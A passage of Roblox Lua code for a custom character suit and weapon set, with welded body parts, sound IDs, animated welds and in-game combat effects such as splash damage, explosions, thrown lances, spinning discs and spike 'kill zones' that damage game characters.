local oldpos=(ob.CFrame *ofz).p local lopz2=0
local function loltr() local obp=(ob.CFrame *ofz).p lopz2=lopz2 + 1
local mag=(oldpos - obp).magnitude
local tr=pa(ob,"trail","Block",0,0,0,false,false,0.5,0.15,col)
tr.Anchored=true
tr.CFrame=cf(oldpos,obp)
tr.CFrame=tr.CFrame + tr.CFrame.lookVector* (mag/2)
local trm=it("CylinderMesh",tr) trm.Scale=v3(5*thickz,mag*5,5*thickz)
cw(function() for i=5*thickz,0,-5*thickz/10 do trm.Scale=v3(i,mag*5,i) w()
end tr:Remove'' end)
tr.CFrame=tr.CFrame *ca(rd(90),0,0) oldpos=obp end
repeat loltr()
w(waitz) until ft(sTrail,ob) == nil or lopz2 == lopz loltr() end) end
Serv=game.Players
nocf=cf(0,0,0) noca=ca(0,0,0)
repeat w() until Serv.LocalPlayer.Character and
Serv.LocalPlayer.Character:findFirstChild("Torso")
pl=Serv.LocalPlayer
bp=pl.Backpack
pg=pl.PlayerGui
c=pl.Character
he=c.Head
to=c.Torso ccn(to,"BodyPosition") ccn(to,"BodyGyro")
hu=c.Humanoid hu.PlatformStand=false
mou=nil
Button=false
Key=false
a={}
a.ClickHold=0
a.c=true -- weapon change or act debounce
a.a="None" -- current weapon
a.b="None" -- weapon act
a.s={}
a.cr={20,1.5}
local did=false
--ky=nil for i,v in
pairs(game.Lighting[game.Lighting.EngineT.Value]:children()) do if not did then
ky={} did=true end
ccn(c,"CharacterMesh")
a.s.Lanceb=false
a.s.Lancet="Really blue"
a.s.Lance=function(boolz) if not Misc["v"] == nil or
Misc["v"]:findFirstChild("han2") == nil then return end a.s.Lanceb=boolz
if not a.s.Lanceb then return end
cw(function() repeat w() Misc["v"].han2.Weld.C0=Misc["v"].han2.Weld.C0
*ca(0,rd(15),0) until not a.s.Lanceb end)
end
Sounds={
Break="3264793";
Berserk="2676305";
Fire1="2760979";
Imbue="2785493";
Ghost="3264923";
Block="rbxasset://sounds\\metal.ogg";
Boom="16976189";
SniperFire="1369158";
ShotgunFire2="1868836";
MinigunFire="2692806";
MinigunCharge="2692844";
MinigunDischarge="1753007";
Flashbang="16976189";
Beep="15666462";
Smash="2801263";
Punch="31173820";
Slash="rbxasset://sounds/swordslash.wav";
Falcon="1387390";
Cast="2101137";
Spin="1369159";
Abscond="2767090";
ElectricalCharge="2800815";
FireExplosion="3264793";
SaberLightUp="10209303";
SaberSlash="10209280";
SaberHit="44463749";
EnergyBlast="10209268";
Lunge="rbxasset://sounds/swordlunge.wav";
Unsheath="rbxasset://sounds/unsheath.wav";
}
local SoundTest=Sounds.Spin
local hd=he:Clone''
a.Bodyas=0
a.insw={}
function cleanweld(wexx,namzi) local tn=ft2(a.insw,wexx) if tn==nil then
return end
if namzi=="p0" then
a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"]=0,0,0 elseif
namzi=="p1" then
a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]["p1z"]=0,0,0 elseif
namzi=="a0" then
a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]["a0z"]=0,0,0 elseif
namzi=="a1" then
a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]=0,0,0
end
end
a.Welding=0 function c1(wexx,smmx,c0orc1,aa,bb,cc,xx,yy,zz)
if ft2(a.insw,wexx)==nil then ti(a.insw,{wexx,{}}) local tn=ft2(a.insw,wexx)
a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]
["p0z"]=wexx.C0.x,wexx.C0.y,wexx.C0.z
a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]
["p1z"]=wexx.C1.x,wexx.C1.y,wexx.C1.z
a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]
["a0z"]=wexx.C0:toEulerAnglesXYZ()
a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]
["a1z"]=wexx.C1:toEulerAnglesXYZ() end local tn=ft2(a.insw,wexx)
local xx2,yy2,zz2=0,0,0 local x2,y2,z2=0,0,0 if c0orc1==0 then
xx2,yy2,zz2=a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]["a0z"]
x2,y2,z2=a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"] elseif
c0orc1==1 then xx2,yy2,zz2=a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]
["a1z"] x2,y2,z2=a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]["p1z"]
else xx2,yy2,zz2=a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]
x2,y2,z2=a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"] end
a.Welding=a.Welding + 1 local twa=1 if smmx >= 1 then else
for i=smmx,0.8,smmx do twa = 1 if c0orc1==0 then
wexx.C0=cf(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-
(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i))
elseif c0orc1==1 then
wexx.C1=cf(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i))
*ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/
twa)*i)) else wexx.C0=cf(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/
twa)*i))
wexx.C1=ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-
rd(zz))/twa)*i))end w() end
for i=0.8,1,smmx*0.45 do twa = 1 if c0orc1==0 then
wexx.C0=cf(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-
(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i))
elseif c0orc1==1 then
wexx.C1=cf(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i))
*ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/
twa)*i)) else wexx.C0=cf(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/
twa)*i))
wexx.C1=ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-
rd(zz))/twa)*i))end w() end
end
local i=1 if c0orc1==0 then
wexx.C0=cf(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-
(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i))
elseif c0orc1==1 then wexx.C1=cf(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-
(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-
(((zz2-rd(zz))/twa)*i))
else wexx.C0=cf(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/
twa)*i)) wexx.C1=ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-
(((zz2-rd(zz))/twa)*i)) end a.Welding=a.Welding - 1 local tn=ft2(a.insw,wexx)
if c0orc1==0 then
a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"]=x2-(((x2-aa)/
twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)
a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]["a0z"]=xx2-(((xx2-
rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)
elseif c0orc1==1 then
a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]["p1z"]=x2-(((x2-aa)/
twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)
a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]=xx2-(((xx2-
rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)
elseif c0orc1==3 then
local x,y,z=wexx.C0.x,wexx.C0.y,wexx.C0.z
a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"]=x2-(((x2-aa)/
twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)
local x,y,z=wexx.C1:toEulerAnglesXYZ()
a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]=xx2-(((xx2-
rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)
end end
to["Left Hip"].Part0=to to["Right Hip"].Part0=to to["Left Shoulder"].Part0=to
to["Right Shoulder"].Part0=to
if c:findFirstChild("S" .. "uit") then game:service'Debris':AddItem(c["Su" ..
"it"],0.035) end
m=it("Model",c) m.Name="Suit"
re(c,"Block")
Block=it("BoolValue",c) Block.Value=false Block.Name="Block"
Misc={}
Misc["x"]=it("Model",m)
invis(c)
p={}
t = pa(m,"Torso","Block",0,0,0,false,false,0,0,ts(to.BrickColor)) tw =
weld(t,to,t,0,0,0,0,0,0)
la = pa(m,"Left Arm","Block",0,0,0,false,false,0,0,ts(c["Left
Arm"].BrickColor)) law = weld(la,t,la,-1.5,1,0,0,0,0)
ra = pa(m,"Right Arm","Block",0,0,0,false,false,0,0,ts(c["Right
Arm"].BrickColor)) raw = weld(ra,t,ra,1.5,1,0,0,0,0)
ll = pa(m,"Left Leg","Block",0,0,0,false,false,0,0,ts(c["Left
Leg"].BrickColor)) llw = weld(ll,t,ll,-0.5,-1,0,0,0,0)
rl = pa(m,"Right Leg","Block",0,0,0,false,false,0,0,ts(c["Right
Leg"].BrickColor)) rlw = weld(rl,t,rl,0.5,-1,0,0,0,0)
hd.Parent=m hd.Transparency=0 hd.face.Face="Front"
hw=weld(hd,t,hd,0,1.5,0,0,0,0) he.face.Face="Bottom"
local nbb=it("BlockMesh") nbb.Offset=v3(0,-1,0) nbb.Scale=v3(5,10,5)
nbb:Clone''.Parent=la nbb:Clone''.Parent=ra nbb:Clone''.Parent=ll
nbb:Clone''.Parent=rl
nbb:Clone''.Parent=t t.Mesh.Offset=v3(0,0,0)
t.Mesh.Scale=Vector3.new(10,10,5)
pcall(function() c.Shirt:Remove'' end) pcall(function() c.Pants:Remove'' end)
to["Left Hip"].Part0=t to["Right Hip"].Part0=t to["Left Shoulder"].Part0=t
to["Right Shoulder"].Part0=t
Armb=true Armb2=true
Legb=true Legb2=true
function Armz(ison) Armb=ison if ison then
c["Left Arm"].Transparency=0 c["Right Arm"].Transparency=0 la.Transparency=1
ra.Transparency=1
law.Part0=c["Left Arm"] law.C0=cf(0,1,0) raw.Part0=c["Right Arm"]
raw.C0=cf(0,1,0)
else
c["Left Arm"].Transparency=1 c["Right Arm"].Transparency=1 la.Transparency=0
ra.Transparency=0
law.Part0=t law.C0=cf(-1.5,1,0) raw.Part0=t raw.C0=cf(1.5,1,0)
end end
function Legz(ison) Legb=ison if ison then
c["Left Leg"].Transparency=0 c["Right Leg"].Transparency=0 ll.Transparency=1
rl.Transparency=1
llw.Part0=c["Left Leg"] llw.C0=cf(0,1,0) rlw.Part0=c["Right Leg"]
rlw.C0=cf(0,1,0)
else
c["Left Leg"].Transparency=1 c["Right Leg"].Transparency=1 ll.Transparency=0
rl.Transparency=0
llw.Part0=t llw.C0=cf(-0.5,-1,0) rlw.Part0=t rlw.C0=cf(0.5,-1,0)
end end function Headz(ison) if ison then he.Transparency=0 else end end
Legz(true) Armz(true) newhats(c,hd,he)
hax2sazc = "BUTTSEXSYSTEM"
function Sound(sidz,pit,vol,parz) local sid=sidz if sid:sub(1,3) ~= "rbx"
then sid = asset .. sid end local parx = to if parz then parx = parz end
cw(function() local sou = it("Sound") sou.SoundId = sid sou.Pitch = pit sou.Volume
= vol/1.5 sou.Parent = parx game:service'Lighting'[hax2sazc].Value = sou w(5)
sou:Remove'' end) end
mp=mpvalue maxmp=mp ns=18
function addmp(mpz) mp=mp + mpz if mp > maxmp then mp=maxmp end end
function SplashDmg(tehsit,pos,dmgx,mag,forc) cw(function()
local function dive(obj) for i,v in pairs(obj:children()) do if i%
(#obj:children()/5)==0 then w() end --if i%antisplashdamagesexhack==0 then w() end
--i%(#obj:children()/4)==0 then w() end
if not v:IsA("Model") and v ~= to and v:IsA("BasePart") and v.Name=="Torso"
and getclass(v.Parent,"Humanoid") ~= nil and (v.Position - pos).magnitude < mag
then local av=getclass(v.Parent,"Humanoid") Dmgz(true,av,dmgx,v) if tehsit then
av.Sit=true end
elseif v:IsA("BasePart") and (v.Position-pos).magnitude < mag and not
v.Anchored and v:GetMass() < 200 and v.Name ~= "Handle" and
findclass(v.Parent,"Humanoid") <1 and findclass(v.Parent.Parent,"Humanoid") <1 and
v.Parent.Parent.Name ~= "Suit" then if (v.Position-pos).magnitude < mag/2 then
v:BreakJoints() v.CFrame=cf(v.Position,pos)*ca(0,rd(180),0) end
v.Velocity=cf(pos,v.Position).lookVector*forc
else cw(function() if #v:children() > 0 and not v:IsA("BasePart") and
v.className~="Script" and v.className~="Camera" then dive(v) end end) end
end end -- func and loop end
dive(workspace) end) end
function BlastMesh(col2,pos,adjus2,sc) local adjus=adjus2 *cf(0,-0.12*sc,0)
local spi=pa(m,"","Block",0,0,0,false,false,1,0,col2) spi.Anchored=true local
spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Crown
spim.Scale=v3(sc*1.4,(sc*0.4),sc*1.4) cw(function() local fu=spim.Scale local
spix=0 for i=1,0.4,-0.05 do spix=spix + 15 spi.Transparency=i
spim.Scale=v3(((fu.x*i)/2)+(fu.x/2),fu.y,((fu.z*i)/2)+(fu.z/2))
spi.CFrame=pos.CFrame *adjus *ca(0,rd(spix),0) w() end for i=0.4,1,0.05 do
spix=spix + 15 spi.Transparency=i spim.Scale=v3(fu.x*i,fu.y,fu.z*i)
spi.CFrame=pos.CFrame *adjus *ca(0,rd(spix),0) w() end spi:Remove'' end) end
function GlowMesh(anch,meshid2,rootz,mv3,colzz,adjus)
local spi=pa(m,"","Block",1,1,1,false,false,0.3,0,colzz) local
spim=it("SpecialMesh",spi) if meshid2:lower()=="sphere" then spim.MeshType="Sphere"
elseif meshid2:lower()=="block" then spim.MeshType="Brick" else
spim.MeshType="FileMesh" spim.MeshId=meshid2 end
if anch then local spiw=weld(spi,rootz,spi,0,0,0,0,0,0) spiw.C0 =spiw.C0
*adjus else spi.Anchored=true spi.CFrame=rootz.CFrame *adjus end
cw(function() for i=0.3,0.9,0.03 do spi.Transparency=i spim.Scale=mv3*(i+0.1)
w() end spi:Remove'' end)
end
function Explode(onb,scz,colzz,dmge) cw(function() local scale=scz*2 local
scale2=scale*0.825
local e1=pa(m,"","Block",0,0,0,false,false,0.3,0,colzz) e1.Anchored=true
e1.CFrame=onb*ca(rd(-90),0,0) local e1m=it("SpecialMesh",e1)
e1m.MeshType="FileMesh" e1m.MeshId=asset .. Decs.Ring
local e2=pa(m,"","Block",0,0,0,false,false,0.3,0,colzz) e2.Anchored=true
e2.CFrame=onb*ca(0,0,0) local e2m=it("SpecialMesh",e2) e2m.MeshType="FileMesh"
e2m.MeshId=asset .. Decs.Ring
local e3=pa(m,"","Block",0,0,0,false,false,0.3,0,colzz) e3.Anchored=true
e3.CFrame=onb*ca(0,0,0) local e3m=it("SpecialMesh",e3) e3m.MeshType="FileMesh"
e3m.MeshId=asset .. Decs.Crown
SplashDmg(false,onb.p,dmge,scale/1.6,125) cw(function() for i=0.4,1,0.04 do
w() end fade(e1,0.1) fade(e2,0.1) fade(e3,0.1) end) for i=0.3,1,0.035 do
e3m.Scale=v3((scale2/1.3)*i,(scale2/2)*i,(scale2/1.3)*i)
e2m.Scale=v3((scale2*1.3)*i,(scale2*1.3)*i,(scale2*1.3)*i)
e1m.Scale=v3((scale2*1.3)*i,(scale2*1.3)*i,(scale2*1.3)*i) e1.CFrame=onb*ca(rd(-
90),rd(360),0) e2.CFrame=onb*ca(0,rd(360),0) e3.CFrame=onb*ca(rd(180),rd(360),0)
w()
end
end) end
function FacePos(ob,pos,pos2,adj3,adj2,adj,forsec) local bg=it("BodyGyro",ob)
bg.maxTorque=adj2 bg.D=adj3 bg.cframe=cf(pos,pos2) *adj
game:service'Debris':AddItem(bg,forsec) end
function splat2(pos,dmge)
local dbr=it("Model",workspace) local colz2="Bright red" if
ts(dmge)=="Block!" then colz2="Bright blue" end
dbr.Name=ts(dmge) local
dbri=pa(dbr,"Head","Block",1,0,1,false,false,0,0,colz2)
it("Humanoid",dbr).MaxHealth=0
dbri.Anchored=true dbri.CFrame=cf(pos + v3(rn(-15,15)/10,3,rn(-15,15)/10))
game:service'Debris':AddItem(dbr,0.5) end
local DBDH={}
function Dmgz(blockz,aihu,dmgzz2,pos) if ft(DBDH,aihu.Parent) then return end
if aihu.Health==0 then return end if aihu.Parent:findFirstChild("ForceField") then
return end dmgdeb2=true cw(function() if (aihu.Parent:findFirstChild("Block") and
aihu.Parent.Block:IsA("BoolValue") and aihu.Parent.Block.Value and not blockz) or
pos.Name:lower()=="shield" then splat2(pos.Position,"Bl" .. "ock!") w(0.2)
Sound(Sounds.Block,1.4,3) return end
local dmgzz=dmgzz2 if game:service'Players':findFirstChild(aihu.Parent.Name)
== nil then dmgzz=dmgzz*1.5 end ti(DBDH,aihu.Parent) addmp(dmgzz/2.5) if
rn(1,a.cr[1]) == 1 then aihu:TakeDamage(maxdmg + critmaxplus) dmgzz="Critical!
" ..ts(maxdmg + critmaxplus) else dmgzzz = math.random(mindmg,maxdmg)
aihu:TakeDamage(dmgzzz) dmgzz = dmgzzz end if not pos then return end
splat2(pos.Position,dmgzz) cw(function() w(0.08) tr(DBDH,ft(DBDH,aihu.Parent)) end)
end) end
function rayHit(wai,lolk,weplol,adjus,magz,mind,maxd,gain) local
DebounceTable2={} cw(function()
local hitx=0 local tymzup=false cw(function() w(wai) tymzup=true end)
repeat w() local tries=0 local bhit,bpos=nil,v3(999,999,999)
repeat tries=tries + 1 local xx=0 local yy=0 if tries==1 then xx=1 elseif
tries==2 then xx=-1 elseif tries == 3 then yy=1 elseif tries == 4 then yy=-1 elseif
tries == 5 then xx=-1 yy=-1 elseif tries == 6 then xx,yy=1,1 elseif tries == 7 then
xx,yy=-1,1 elseif tries == 8 then xx,yy=1,-1 end
bhit,bpos=ray((weplol.CFrame *adjus *cf(xx,yy,-0.8)).p,weplol.Position -
(weplol.CFrame *adjus *cf(0,0,2)).p)
if bhit ~= nil and (bpos - weplol.Position).magnitude < magz+0.8 then break
end until tries > 8
if bhit==nil or (bpos - weplol.Position).magnitude > magz+0.8 then else local
brea=false
for i,v in pairs(bhit.Parent:children()) do local dmge=rn(mind,maxd)
if v:IsA("Humanoid") and not DebounceTable2[v.Parent.Name] then
DebounceTable2[v.Parent.Name]=true Dmgz(false,v,dmge,bhit)
Sound(Sounds.Smash,0.9,1) hitx=hitx+1 brea=true break end end
if bhit.Parent ~= workspace and not brea then for i,v in
pairs(bhit.Parent.Parent:children()) do local dmge=rn(mind,maxd)
if v.Parent:findFirstChild("Humanoid") and not
DebounceTable2[v.Parent.Parent.Name] then DebounceTable2[v.Parent.Parent.Name]=true
Dmgz(false,v.Parent.Humanoid,dmge,bhit) Sound(Sounds.Smash,0.9,1) hitx=hitx+1 break
end end
end
end until hitx >= lolk or tymzup end) end
function rayHit2(weplol,adjus,magz)
local tries=0 local bhit,bpos=nil,v3(999,999,999)
repeat tries=tries + 1 local xx=0 local yy=0 if tries==1 then xx=1 elseif
tries==2 then xx=-1 elseif tries == 3 then yy=1 elseif tries == 4 then yy=-1 elseif
tries == 5 then xx=-1 yy=-1 elseif tries == 6 then xx,yy=1,1 elseif tries == 7 then
xx,yy=-1,1 elseif tries == 8 then xx,yy=1,-1 end
bhit,bpos=ray((weplol.CFrame *adjus *cf(xx,yy,-0.8)).p,weplol.Position -
(weplol.CFrame *adjus *cf(0,0,2)).p)
if bhit ~= nil and (bpos - weplol.Position).magnitude < magz+0.8 then break
end until tries > 8
if bhit==nil or (bpos - weplol.Position).magnitude > magz+0.8 then else
for i,v in pairs(bhit.Parent:children()) do
if v:IsA("Humanoid") then return bhit,v end end
if bhit.Parent ~= workspace and not brea then for i,v in
pairs(bhit.Parent.Parent:children()) do
if v.Parent:findFirstChild("Humanoid") then return bhit,v.Parent.Humanoid end
end
end end
end
function SummonProjectile(obj,spp,sc,meshidz,dmge,colzz,scalz) cw(function()
local sum=pa(m,"","Block",4*sc,0,4*sc,false,false,1,0,"") sum.Anchored = true
local sumd = it("Decal",sum) sumd.Face = "Top" sumd.Texture = asset .. Decs.EF1
sum.CFrame = obj.CFrame*spp
local pro=pa(m,"","Block",2*sc,5,2*sc,true,false,0.05,0.3,colzz) pro.Anchored
= true local prom = it("SpecialMesh",pro) prom.MeshType = "FileMesh" prom.Scale =
scalz*sc prom.MeshId = meshidz
pro.CFrame = sum.CFrame*cf(0,-4*sc,0.5*sc)*ca(rd(-10),0,0) it("Fire",pro)
pro.Fire.Heat = 25 pro.Fire.Size = 7 pro.Fire.SecondaryColor = bc("White").Color
pro.Fire.Color = bc("Really blue").Color
sum.CFrame = sum.CFrame*cf(0,-0.5*sc,0) local tro = false cw(function()
repeat sum.CFrame = sum.CFrame*ca(0,rd(15),0) w() until tro end)
local pcf = pro.CFrame local scf = sum.CFrame for i=0,1,0.1 do pro.CFrame =
pcf*cf(0,(6.5*sc)*i,0) sum.CFrame = scf*cf(0,(0.25*sc)*i,0)*ca(0,rd(360*i),0) w()
end
SplashDmg(false,sum.Position,dmge,6*sc,50) w(1.2) for i=1,0,-0.1 do
pro.CFrame = pcf*cf(0,(6.5*sc)*i,0) sum.CFrame = scf*cf(0,(0.25*sc)*i,0) w() end
tro = true sum:Remove'' pro:Remove''
end) end
function DmgHit(tym,weplol,mind,maxd,gain) cw(function() local iztym=false
weplol.Touched:connect(function(hit)if hit.Parent:findFirstChild("Humanoid")==nil
or iztym then return end
local aihu=hit.Parent.Humanoid local dmge=rn(mind,maxd)
Dmgz(false,aihu,dmge,hit) Sound(Sounds.Smash,1,1) end) end) end
function RaiseBubble(poscf,sc,hax2,colzz) cw(function()
local dis=pa(m,"","Block",0,0,0,false,false,0.4,0,colzz) dis.Anchored=true
local dism=it("SpecialMesh",dis) dism.MeshType="Sphere"
dism.Scale=v3(0.8*sc,1.3*sc,0.8*sc) dism.Scale=dism.Scale*5 local
dsm=dism.Scale dis.CFrame=poscf *cf(rn(-hax2*sc,hax2*sc)/10,-1.5*sc,rn(-
80*sc,80*sc)/10)
for i=0.4,1,0.05 do dis.CFrame=dis.CFrame *cf(0,1*sc,0) dis.Transparency=i-
0.15 dism.Scale=v3(dsm.x-((dsm.x/2)*i),dsm.y,dsm.x-((dsm.x/2)*i)) w() end
dis:Remove''
end) end
function FireDisc(colz,sc,mind,maxd,spawnpos) cw(function()
local dis=pa(m,"","Block",sc,0,sc,false,false,1,0,colz) local
dis2=pa(m,"","Block",sc,0,sc,false,false,0.5,0.1,colz)
dis.Anchored=true dis2.Anchored=true local dism=it("CylinderMesh",dis2)
dis.CFrame=spawnpos dis2.CFrame=dis.CFrame*ca(0,0,rd(90))
local spi=dis
local bullethit=false
local tyms=0
local minusz=-0.0001
local spid=0.25
local divzz=14
local tehpos=v3(0,0,0) Sound(Sounds.Spin,1.3,1)
repeat
tyms=tyms + 2 minusz=(-90/80/divzz)*tyms
local bhit,bpos=ray(spi.Position,spi.Position - (spi.CFrame *cf(0,0,2)).p)
tehpos=bpos
if bpos ~= nil and (bpos - (spi.CFrame *cf(0,1,0)).p).magnitude < 30 then
bullethit=bhit else spi.CFrame=spi.CFrame *cf(0,0,-5) *ca(rd(minusz),0,0) end
if rn(1,6)==1 then Sound(Sounds.Spin,1.3,1) end
dis2.CFrame=spi.CFrame*ca(rd(rn(-16,16)),rd(rn(-16,16)),rd(90+rn(-16,16))) w()
until bullethit or spi.Position.y < -300 or tyms > 500
dis:Remove'' dis2:Remove'' local xx,yy,zz=dis.CFrame:toEulerAnglesXYZ()
if bullethit then
local sc2=sc/5
local spi2=pa(m,"","Block",0.3*sc2,6*sc2,0.3*sc2,true,false,0,0,"New Yeller")
spi2.Anchored=true
local spim=it("SpecialMesh",spi2) spim.MeshType="FileMesh"
spim.MeshId=asset .. Decs.Spike spim.Scale=v3(0.2*sc2,6*sc2,0.2*sc2)
spi2.CFrame=cf(tehpos) *ca(xx,yy,zz) *cf(0,0,1.5*sc2) *ca(rd(-90),0,0)
game:service'Debris':AddItem(spi2,10)
spi.Velocity=v3(0,0,0) local xx,yy,zz=spi.CFrame:toEulerAnglesXYZ()
spi.CFrame=cf(tehpos) *ca(xx,yy,zz) *cf(0,-spi.Size.y/9,0)
if a.a=="Spikes" then if a.b=="SpikeDisc" then if achdsc then
bullethit.Anchored=false end if brkdsc then bullethit:BreakJoints() end end end
if bullethit.Anchored then Sound(Sounds.Smash,0.6,1) else
if bullethit.Parent:findFirstChild("Humanoid") then spi.CanCollide=false
spi2.CanCollide=false spi2.Anchored=false stick(spi2,bullethit) local
aihu=bullethit.Parent.Humanoid Sound(Sounds.Smash,1.35,1)
Dmgz(false,aihu,rn(mind,maxd),bullethit)
elseif bullethit.Parent.Parent:findFirstChild("Humanoid") then
spi.CanCollide=false
spi2.CanCollide=false spi2.Anchored=false stick(spi2,bullethit) local
aihu=bullethit.Parent.Parent.Humanoid Sound(Sounds.Smash,1.35,1)
Dmgz(false,aihu,rn(mind,maxd),bullethit)
elseif bullethit:GetMass() < 500 and
bullethit.Parent:findFirstChild("Humanoid")==nil and
bullethit.Parent.Parent:findFirstChild("Humanoid")==nil then
spi2.CanCollide=false spi2.Anchored=false stick(spi2,bullethit)
Sound(Sounds.Smash,0.6,1) if
bullethit.Parrent.Parent:findFirstChild("Humanoid")==nil then
bullethit:BreakJoints() bullethit.Velocity=spi.CFrame.lookVector*80 end
end
end
end
end) end
function ThrowLance(mo) local paws=mou.Hit.p mo.shield:Remove''
mo.han.Weld:Remove'' cw(function() mo.Parent=m local fiar=it("Fire",mo.spike)
fiar.Color=bc("Navy blue").Color fiar.SecondaryColor=bc("Navy blue").Color
fiar.Heat=-25 fiar.Size=20
local tip=mo.spiketip local root=mo.han Trail2(9999,root,0.2,"",2,cf(0,-1,0))
local rps=it("BodyPosition",root)
rps.position=(cf(root.Position,mou.Hit.p)*cf(0,0,10)).p rps.maxForce=v310 local
rbg=it("BodyGyro",root) rbg.cframe=cf(root.Position,mou.Hit.p)*ca(rd(90),0,0)
rbg.D=15 rbg.maxTorque=v310
local bhit=nil local bpos=v3(0,0,0) local tyms=0 local hitted=false
tip.Touched:connect(function() tip.Anchored=true hitted=true end)
repeat tyms=tyms + 1
bhit,bpos=ray(tip.Position,tip.Position - (tip.CFrame *cf(0,2,0)).p)
if bhit ~= nil and (bpos - tip.Position).magnitude < 8 then hitted=true break
else
rps.position=(root.CFrame*cf(0,-30,0)).p
rbg.cframe=cf(root.Position,paws)*ca(rd(90-(0.2*tyms)),0,0)
end
w() until hitted or tyms > 120 root.Anchored=true rtab(sTrail,root)
Explode(tip.CFrame,9,raigcol2,40)
SpawnKillZone(tip.CFrame,rn(12,18)/10,10,"Really black")
w(2) for i=0,1,0.02 do for ii,v in pairs(mo:children()) do v.Transparency=i
end w() end mo:Remove''
end) end
function SpawnKillZone(spawnpos,sc,dur,colzz) cw(function()
Sound(Sounds.Smash,0.4,1)
local spi=pa(m,"oo","Block",1*sc,8*sc,1*sc,true,false,0,0,"Black")
spi.Anchored=true local spim= it("SpecialMesh",spi) spim.MeshType="FileMesh"
spim.MeshId=asset .. Decs.Spike spim.Scale=v3(0.7*sc,9*sc,0.7*sc)
local spi2=pa(m,"oo","Block",0,0,0,false,false,0,0,"White")
spi2.Anchored=true local spi2m= it("SpecialMesh",spi2) spi2m.MeshType="FileMesh"
spi2m.TextureId=asset .. Decs.TSkull1 spi2m.MeshId=asset .. Decs.Skull1
spi2m.Scale=v3(1*sc,1*sc,1*sc)
for i=-13,2,1 do spi.CFrame=spawnpos *cf(0,i*sc,0)
spi2.CFrame=spi.CFrame*cf(0,2.3*sc,0) w() end Sound(Sounds.Ghost,1.05,1) local
kil=true
cw(function() repeat
GlowMesh(false,"Sphere",spi,v3(18*sc,0.2*sc,18*sc),colzz,cf(0,-2.6*sc,0))
w(0.5) SplashDmg(false,spi.Position,7,8.5*sc,30)
GlowMesh(false,"Sphere",spi,v3(18*sc,0.2*sc,18*sc),colzz,cf(0,-2.6*sc,0)) w(0.5)
until not kil end)
w(dur) kil=false
for i=2,-13,-0.25 do spi.CFrame=spawnpos *cf(0,i*sc,0)
spi2.CFrame=spi.CFrame*cf(0,2.3*sc,0) w() end spi:Remove'' spi2:Remove''
end) end
function SpawnSpikeTurret(spawnpos,sc,dur,tmag,mulz)
